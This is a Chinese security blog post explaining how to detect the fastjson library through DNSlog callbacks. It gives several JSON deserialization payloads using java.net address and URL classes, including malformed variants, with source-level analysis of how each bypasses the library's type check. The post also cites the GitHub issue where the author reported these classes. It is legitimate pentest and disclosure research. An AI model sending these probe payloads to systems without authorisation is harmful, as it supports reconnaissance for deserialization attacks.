通过dnslog探测fastjson的几种方法

  • A+
所属分类:安全文章
 0x01 背景 


在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。

昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。

通过dnslog探测fastjson的几种方法




 0x02  方法一:利用java.net.Inet[4|6]Address 




很早之前有一个方法是使用java.net.InetAddress类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(v1.2.67)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以java.net.Inet4Address为例分析构造原理。
{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}
我们知道在fastjson在反序列化之前都会调用checkAutoType方法对类进行检查。通过调试发现,由于java.net.Inet4Address不在黑名单中,所以就算开启AutoType也是能过1处的检查。

fastjson的ParserConfig类自己维护了一个IdentityHashMap,在这个HashMap中的类会被认为是安全的。在2处可以在IdentityHashMap中可以获取到java.net.Inet4Address,所以clazz不为null,导致在3处就返回了。跳过了后续的未开启AutoType的黑名单检查。所以可以发现无论AutoType是否开启,都可以过checkAutoType的检查

通过dnslog探测fastjson的几种方法

fastjason对于Inet4Address类会使用MiscCodec这个ObjectDeserializer来反序列化。跟进发现解析器会取出val字段的值赋值给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。

通过dnslog探测fastjson的几种方法




 0x03 方法二:利用java.net.InetSocketAddress 




java.net.InetSocketAddress类也在IdentityHashMap中,和上面一样无视checkAutoType检查。

通过它要走到InetAddress.getByName()流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的@背影师傅交流时,才知道可以顺着解析器规则构造(它要啥就给它啥),最终payload如下,当然它是畸形的json。
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
那这个是怎样构造出来的呢?这就需要简单了解下fastjson的词法分析器了,这里就不展开了。这里尤为关键的是解析器token值对应的含义,可以在com.alibaba.fastjson.parser.JSONToken类中看到它们。

通过dnslog探测fastjson的几种方法

构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是{"@type":"java.net.InetSocketAddress"{"address":

通过dnslog探测fastjson的几种方法

parser.parseObject(InetAddress.class)最终依然会,调用MiscCodec#deserialze()方法来序列化,这里就来到我们构造payload的第二步。第二步的目标是要让解析器走到InetAddress.getByName(strVal)。解析器要接受的字符在代码里标好了,按照顺序写就是,"val":"http://dnslog"}

通过dnslog探测fastjson的几种方法

两段合起来就得到了最终的payload。




 0x04 方法三:利用java.net.URL 



java.net.URL类也在IdentityHashMap中,和上面一样无视checkAutoType检查。
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
来源于@retanoj@threedr3am两位师傅的启发,其原理和ysoserial中的URLDNS这个gadget原理一样。

简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的hashcode期间会调用getHostAddress方法获取host,这个过程域名会被解析。

通过dnslog探测fastjson的几种方法

fastjson解析上述payload时,先反序列化出URL(http://dnslog)对象,然后将{URL(http://dnslog):"x"}解析为一个HashMap,域名被解析。

@retanojIssue中还构造了好几个畸形的payload,虽然原理都是一样的,但还是挺有意思的,感受到了师傅对fastjson词法分析器透彻的理解。
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}Set[{"@type":"java.net.URL","val":"http://dnslog"}]Set[{"@type":"java.net.URL","val":"http://dnslog"}{{"@type":"java.net.URL","val":"http://dnslog"}:0


 0x05 留一个问题 



最后留个问题吧,我们都知道一般影响fastjson的gadget也会影响jackson。那么我们上面构造的payload,使用相同的原理能在jackson实现么?如果能,又该怎么构造呢?欢迎在blog留言区分享你的思考。




 0x06 参考文献 



  • https://github.com/alibaba/fastjson/issues/3077





本文始发于微信公众号(回忆飘如雪):通过dnslog探测fastjson的几种方法

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: